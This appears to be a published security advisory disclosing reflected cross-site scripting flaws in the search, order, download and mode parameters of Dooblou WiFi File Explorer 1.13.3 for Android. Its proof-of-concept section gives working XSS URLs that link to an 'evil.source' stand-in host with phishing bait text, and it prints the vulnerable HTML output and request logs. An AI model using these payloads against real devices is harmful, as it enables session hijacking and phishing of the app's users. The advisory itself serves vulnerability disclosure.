#Exploit Title: Dooblou WiFi File Explorer 1.13.3 - Multiple Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2317
Release Date:
=============
2023-07-04
Vulnerability Laboratory ID (VL-ID):
====================================
2317
Common Vulnerability Scoring System:
====================================
5.1
Vulnerability Class:
====================
Multiple
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Browse, download and stream individual files that are on your Android device, using a web browser via a WiFi connection.
No more taking your phone apart to get the SD card out or grabbing your cable to access your camera pictures and copy across your favourite MP3s.
(Copy of the Homepage:https://play.google.com/store/apps/details?id=com.dooblou.WiFiFileExplorer )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple web vulnerabilities in the official Dooblou WiFi File Explorer 1.13.3 mobile android wifi web-application.
Affected Product(s):
====================
Product Owner: dooblou
Product: Dooblou WiFi File Explorer v1.13.3 - (Android) (Framework) (Wifi) (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2022-01-19: Researcher Notification & Coordination (Security Researcher)
2022-01-20: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2023-07-04: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
Multiple input validation web vulnerabilities has been discovered in the official Dooblou WiFi File Explorer 1.13.3 mobile android wifi web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application
requests from the application-side.
The vulnerabilities are located in the `search`, `order`, `download`, `mode` parameters. The requested content via get method request is insecure validated
and executes malicious script codes. The attack vector is non-persistent and the rquest method to inject is get. Attacker do not need to be authorized to
perform an attack to execute malicious script codes. The links can be included as malformed upload for example to provoke an execute bby a view of the
front- & backend of the wifi explorer.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious
source and non-persistent manipulation of affected application modules.
Proof of Concept (PoC):
=======================
The input validation web vulnerabilities can be exploited by remote attackers without user account and with low user interaction.
For security demonstration or to reproduce the web vulnerabilities follow the provided information and steps below to continue.
PoC: Exploitation
http://localhost:8000/storage/emulated/0/Download/<a href="https://evil.source" onmouseover=alert(document.domain)><br>PLEASE CLICK PATH TO RETURN INDEX</a>
http://localhost:8000/storage/emulated/0/Download/?mode=31&search=%3Ca+href%3D%22https%3A%2F%2Fevil.source%22+onmouseover%3Dalert%28document.domain%29%3E%3Cbr%3EPLEASE+CLICK+PATH+TO+RETURN+INDEX%3C%2Fa%3E&x=3&y=3
http://localhost:8000/storage/emulated/0/Download/?mode=%3Ca+href%3D%22https%3A%2F%2Fevil.source%22+onmouseover%3Dalert(document.domain)%3E%3Cbr%3EPLEASE+CLICK+PATH+TO+RETURN+INDEX&search=a&x=3&y=3
http://localhost:8000/storage/emulated/?order=%3Ca+href%3D%22https%3A%2F%2Fevil.source%22+onmouseover%3Dalert(document.domain)%3E%3Cbr%3EPLEASE+CLICK+PATH+TO+RETURN+INDEX
Vulnerable Sources: Execution Points
<table width="100%" cellspacing="0" cellpadding="16" border="0"><tbody><tr><td
style="vertical-align:top;"><table style="background-color: #FFA81E;
background-image: url(/x99_dooblou_res/x99_dooblou_gradient.png);
background-repeat: repeat-x; background-position:top;" width="700"
cellspacing="3" cellpadding="5" border="0"><tbody><tr><td><center><span
class="doob_large_text">ERROR</span></center></td></tr></tbody></table><br><tabl
e style="background-color: #B2B2B2; background-image:
url(/x99_dooblou_res/x99_dooblou_gradient.png); background-repeat: repeat-x; background-position:top;" width="700" cellspacing="3" cellpadding="5" border="0">
<tbody><tr><td><span class="doob_medium_text">Cannot find file or
directory! /storage/emulated/0/Download/<a href="https://evil.source" onmouseover="alert(document.domain)"><br>PLEASE CLICK USER PATH TO RETURN
INDEX</a></span></td></tr></tbody></table><br><span class="doob_medium_text"><span class="doob_link"> <a
href="/">>> Back To
Files >></a></span></span><br></td></tr></tbody></table><br>
-
<li></li></ul></span></span></td></tr></tbody></table></div><div class="body row scroll-x scroll-y"><table width="100%" cellspacing="0" cellpadding="6" border="0"><tbody><tr>
<td style="vertical-align:top;" width="100%"><form name="multiSelect" style="margin: 0px; padding: 0px;" action="/storage/emulated/0/Download/" enctype="multipart/form-data" method="POST">
<input type="hidden" name="fileNames" value=""><table width="100%" cellspacing="0" cellpadding="1" border="0" bgcolor="#000000"><tbody><tr><td>
<table width="100%" cellspacing="2" cellpadding="3" border="0" bgcolor="#FFFFFF"><tbody><tr style="background-color: #FFA81E; background-image: url(/x99_dooblou_res/x99_dooblou_gradient.png);
background-repeat: repeat-x; background-position:top;" height="30"><td colspan="5"><table width="100%" cellspacing="0" cellpadding="0" border="0"><tbody><tr><td style="white-space:
nowrap;vertical-align:middle"><span class="doob_small_text_bold"> </span></td><td style="white-space: nowrap;vertical-align:middle" align="right"><span class="doob_small_text_bold">
<a href="?view=23&mode=<a href=" https:="" evil.source"="" onmouseover="alert(document.domain)"><br>PLEASE CLICK PATH TO RETURN INDEX&search=a">
<img style="vertical-align:middle;border-style: none" src="/x99_dooblou_res/x99_dooblou_details.png" alt="img" title="Details"></a> |
<a href="?view=24&mode=<a href=" https:="" evil.source"="" onmouseover="alert(document.domain)"><br>PLEASE CLICK PATH TO RETURN INDEX&search=a">
<img style="vertical-align:middle;border-style: none" src="/x99_dooblou_res/x99_dooblou_thumbnails.png" alt="img" title="Thumbnails"></a> |
<a href="?view=38&mode=<a href=" https:="" evil.source"="" onmouseover="alert(document.domain)"><br>PLEASE CLICK PATH TO RETURN I
-
<td style="white-space: nowrap;vertical-align:middle"><input value="" type="checkbox" name="selectAll" onclick="setCheckAll();"> <a class="doob_button"
href="javascript:setMultiSelect('/storage/emulated/', 'action', '18&order=>" <<="">>"<a href="https://evil.source" onmouseover=alert(document.domain)">');javascript:document.multiSelect.submit();"
style="">Download</a> <a class="doob_button" href="javascript:setMultiSelectConfirm('Are you sure you want to delete? This cannot be undone!', '/storage/emulated/', 'action',
'13&order=>"<<><a href="https://evil.source" onmouseover=alert(document.domain)>');javascript:document.multiSelect.submit();" style="">Delete</a>
<a class="doob_button" href='javascript:setMultiSelectPromptQuery("Create Copy",
"/storage/emulated/", "/storage/emulated/", "action", "35&order=>"<<<a href="https://evil.source" onmouseover=alert(document.domain)>", "name");javascript:document.multiSelect.submit();'
style="">Create Copy</a> <a class="doob_button" href="x99_dooblou_pro_version.html" style="">Zip</a> <a class="doob_button" href="x99_dooblou_pro_version.html" style="">Unzip</a></td>
<td align="right" style="white-space: nowrap;vertical-align:middle"><span class="doob_small_text_bold"> <a href="javascript:showTreeview()"><img style="vertical-align:middle;border-style:
none" src="/x99_dooblou_res/x99_dooblou_tree_dark.png" alt="img" title="Show Treeview"></a> |
<a href="?view=23&order=>"<<><a href="https://evil.source" onmouseover=alert(document.domain)>"><img style="vertical-align:middle;border-style: none" src="/x99_dooblou_res/x99_dooblou_details.png" alt="img"
title="Details"></a> | <a href="?view=24&order=>"<<><a href="https://evil.source" onmouseover=alert(document.domain)>"><img style="vertical-align:middle;border-style:
none" src="/x99_dooblou_res/x99_dooblou_thumbnails.png" alt="img" title="Thumbnails"></a> |
<a href="?view=38&order=>"<<><a href="https://evil.source" onmouseover=alert(document.domain)>"><img style="vertical-align:middle;border-style: none" src="/x99_dooblou_res/x99_dooblou_grid.png" alt="img"
title="Thumbnails"></a> </span></td></tr></table>
---PoC Session Logs ---
http://localhost:8000/storage/emulated/0/Download/<a href="https://evil.source" onmouseover=alert(document.domain)><br>PLEASE CLICK USER PATH TO RETURN INDEX</x99_dooblou_wifi_signal_strength.xml
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer:http://localhost:8000/storage/emulated/0/Download/%3Ca%20href=%22https://evil.source%22%20onmouseover=alert(document.domain)%3E%3Cbr%3EPLEASE%20CLICK%20USER%20PATH%20TO%20RETURN%20INDEX%3C/a%3E
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/xml
-
http://localhost:8000/storage/emulated/0/Download/?mode=<a+href%3D"https%3A%2F%2Fevil.source"+onmouseover%3Dalert(document.domain)><br>PLEASE+CLICK+PATH+TO+RETURN+INDEX&search=a&x=3&y=3
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: treeview=0
Upgrade-Insecure-Requests: 1
GET: HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
-
http://localhost:8000/storage/emulated/0/Download/<a href="https://evil.source" onmouseover=alert(document.domain)><br>PLEASE CLICK USER PATH TO RETURN INDEX</x99_dooblou_wifi_signal_strength.xml
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer:http://localhost:8000/storage/emulated/0/Download/%<a href="https://evil.source" onmouseover=alert(document.domain)>%3E%3Cbr%3EPLEASE%20CLICK%20USER%20PATH%20TO%20RETURN%20INDEX%3C/a%3E
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/xml
Security Risk:
==============
The security risk of the multiple web vulnerabilities in the ios mobile wifi web-application are estimated as medium.
